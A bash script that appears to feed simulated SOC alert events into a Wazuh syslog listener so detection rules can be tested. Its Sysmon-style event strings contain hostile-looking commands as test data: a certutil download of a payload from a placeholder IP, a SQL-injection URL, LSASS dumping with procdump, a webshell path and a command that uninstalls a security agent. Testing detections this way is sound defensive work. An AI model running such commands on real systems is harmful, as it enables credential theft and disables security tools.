#!/usr/bin/env bash set -euo pipefail # Usage: # scripts/send-wazuh-proposal-appendix-b-events.sh [selector] [count] [delay_seconds] # # selector: # all | b1 | b2 | b3 | # example usecase_id: B1-01, B2-01, B3-06 SELECTOR="${1:-all}" COUNT="${2:-1}" DELAY="${3:-0.3}" EVENT_DELAY="${EVENT_DELAY:-0.05}" DRY_RUN="${DRY_RUN:-0}" FOREVER="false" for arg in "${@:4}"; do case "${arg}" in --forever) FOREVER="true" ;; *) echo "error: unexpected argument '${arg}'" echo "usage: scripts/send-wazuh-proposal-appendix-b-events.sh [selector] [count] [delay_seconds] [--forever]" exit 1 ;; esac done WAZUH_SYSLOG_HOST="${WAZUH_SYSLOG_HOST:-127.0.0.1}" WAZUH_SYSLOG_PORT="${WAZUH_SYSLOG_PORT:-514}" VCENTER_HOST="${VCENTER_HOST:-vcenter-01}" ESXI_HOST="${ESXI_HOST:-esxi-01}" LOGMON_HOST="${LOGMON_HOST:-logmon-01}" WIN_SYSMON_HOST="${WIN_SYSMON_HOST:-win-sysmon-01}" SIM_USER="${SIM_USER:-jane.doe}" if ! [[ "${COUNT}" =~ ^[0-9]+$ ]] || [[ "${COUNT}" -lt 1 ]]; then echo "error: count must be a positive integer" exit 1 fi if ! [[ "${DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then echo "error: delay must be numeric" exit 1 fi if ! [[ "${EVENT_DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then echo "error: EVENT_DELAY must be numeric" exit 1 fi rand_public_ip() { if [[ $((RANDOM % 2)) -eq 0 ]]; then echo "198.51.100.$((RANDOM % 240 + 10))" else echo "203.0.113.$((RANDOM % 240 + 10))" fi } emit_syslog() { local msg="$1" local sent="false" if [[ "${DRY_RUN}" == "1" ]]; then echo "[DRY_RUN $(date -u +'%Y-%m-%dT%H:%M:%SZ')] ${msg}" return 0 fi if command -v nc >/dev/null 2>&1; then if printf "%s\n" "${msg}" | nc -u -w1 "${WAZUH_SYSLOG_HOST}" "${WAZUH_SYSLOG_PORT}"; then sent="true" fi fi if [[ "${sent}" != "true" ]]; then if printf "%s\n" "${msg}" >"/dev/udp/${WAZUH_SYSLOG_HOST}/${WAZUH_SYSLOG_PORT}" 2>/dev/null; then sent="true" fi fi if [[ "${sent}" != "true" ]]; then echo "error: failed to send syslog event to ${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp" return 1 fi echo "[$(date -u +'%Y-%m-%dT%H:%M:%SZ')] sent: ${msg}" } selector_matches() { local id="$1" local section="$2" local sel sel="$(echo "${SELECTOR}" | tr '[:upper:]' '[:lower:]')" local idl idl="$(echo "${id}" | tr '[:upper:]' '[:lower:]')" local sec sec="$(echo "${section}" | tr '[:upper:]' '[:lower:]')" [[ "${sel}" == "all" || "${sel}" == "${sec}" || "${sel}" == "${idl}" ]] } emit_b_usecase() { local id="$1" local section="$2" local severity="$3" local source="$4" local host="$5" local usecase="$6" local body="$7" selector_matches "${id}" "${section}" || return 0 emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${host} soc_mvp_test=true source=${source} section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\" ${body}" sleep "${EVENT_DELAY}" } emit_b1() { local sip sip="$(rand_public_ip)" emit_b_usecase "B1-01" "B1" "high" "vmware" "${VCENTER_HOST}" \ "vCenter GUI Login Failed 5 Times and Success 1 Time" \ "event_type=vmware_vcenter_login_fail_success login_fail_count=5 login_success_count=1 user=\"${SIM_USER}\" src_ip=${sip}" emit_b_usecase "B1-02" "B1" "medium" "vmware" "${ESXI_HOST}" \ "ESXi Enable SSH on Hosts" \ "event_type=vmware_esxi_enable_ssh action=enable service=ssh user=\"root\" host=\"${ESXI_HOST}\"" emit_b_usecase "B1-03" "B1" "high" "vmware" "${ESXI_HOST}" \ "ESXi SSH Failed 5 Times and Success 1 Time" \ "event_type=vmware_esxi_ssh_fail_success ssh_fail_count=5 ssh_success_count=1 user=\"root\" src_ip=${sip}" } emit_b2() { emit_b_usecase "B2-01" "B2" "low" "log_monitor" "${LOGMON_HOST}" \ "Log Monitor Logs Loss Detection" \ "event_type=log_loss_detection missing_stream=firewall expected_eps=500 observed_eps=0 duration_seconds=180" } emit_b3() { emit_b_usecase "B3-01" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \ "Sysmon LSASS Dumping" \ "event_type=sysmon_lsass_dump event_id=10 process=procdump.exe target_process=lsass.exe user=\"${SIM_USER}\"" emit_b_usecase "B3-02" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \ "Sysmon SQL Injection" \ "event_type=sysmon_sql_injection event_id=1 process=w3wp.exe url=\"/app/login.php?id=1%27%20OR%201=1--\"" emit_b_usecase "B3-03" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \ "Sysmon Webshell" \ "event_type=sysmon_webshell event_id=11 file=\"C:\\\\inetpub\\\\wwwroot\\\\shell.aspx\" process=w3wp.exe" emit_b_usecase "B3-04" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \ "Sysmon Uninstall" \ "event_type=sysmon_security_agent_uninstall event_id=1 process=msiexec.exe cmdline=\"msiexec /x security-agent\" user=\"${SIM_USER}\"" emit_b_usecase "B3-05" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \ "Sysmon LSASS Dumping by Task Manager" \ "event_type=sysmon_lsass_dump_taskmgr event_id=10 process=taskmgr.exe target_process=lsass.exe action=create_dump" emit_b_usecase "B3-06" "B3" "medium" "windows_sysmon" "${WIN_SYSMON_HOST}" \ "Sysmon CertUtil Download" \ "event_type=sysmon_certutil_download event_id=1 process=certutil.exe cmdline=\"certutil -urlcache -split -f http://198.51.100.22/payload.bin payload.bin\"" } emit_selected_set() { local sel sel="$(echo "${SELECTOR}" | tr '[:upper:]' '[:lower:]')" case "${sel}" in all) emit_b1 emit_b2 emit_b3 ;; b1|b1-*) emit_b1 ;; b2|b2-*) emit_b2 ;; b3|b3-*) emit_b3 ;; *) emit_b1 emit_b2 emit_b3 ;; esac } echo "starting proposal Appendix B log simulator" echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s event_delay=${EVENT_DELAY}s dry_run=${DRY_RUN}" echo "target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp" if [[ "${FOREVER}" == "true" ]]; then echo "running forever with interval ${DELAY}s (Ctrl+C to stop)" trap 'echo; echo "stopped"; exit 0' INT TERM while true; do emit_selected_set sleep "${DELAY}" done else for ((i=1; i<=COUNT; i++)); do emit_selected_set if [[ "${i}" -lt "${COUNT}" ]]; then sleep "${DELAY}" fi done echo "done" fi